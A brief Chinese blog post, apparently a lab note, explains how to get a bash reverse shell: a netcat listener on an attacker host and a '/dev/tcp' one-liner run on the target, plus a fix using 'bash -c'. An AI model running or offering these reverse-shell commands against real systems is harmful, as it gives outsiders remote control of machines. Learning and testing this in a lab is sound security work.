反弹shell

2019-01-09  本文已影响0人  Err0rzz

bash -i

操作

攻击机 192.168.188.140
执行 nc -lvvp 8888监听本地8888端口


目标机 192.168.188.24
执行bash -i >& /dev/tcp/192.168.188.140/8888 0<&1 2>&1与140主机8888端口建立一个tcp连接。
bash –i打开一个交互的bash, 
/dev/tcp建立一个socket连接,
 >&将标准错误输出重定向到标准输出中,

执行之后即可得到shell


TIM图片20190109163808.png

问题

一开始做的时候其实是用140当目标机的,但是运行bash -i >& /dev/tcp/192.168.188.140/8888 0<&1 2>&1一直报错显示/dev/tcp文件不存在,百度也没找到解决方法。
刚看到王一航师傅的博客才发现问题出在了哪里,所以最好还是用bash -c 'bash -i >& /dev/tcp/192.168.188.140/8888 0<&1 2>&1'

上一篇 下一篇

猜你喜欢

热点阅读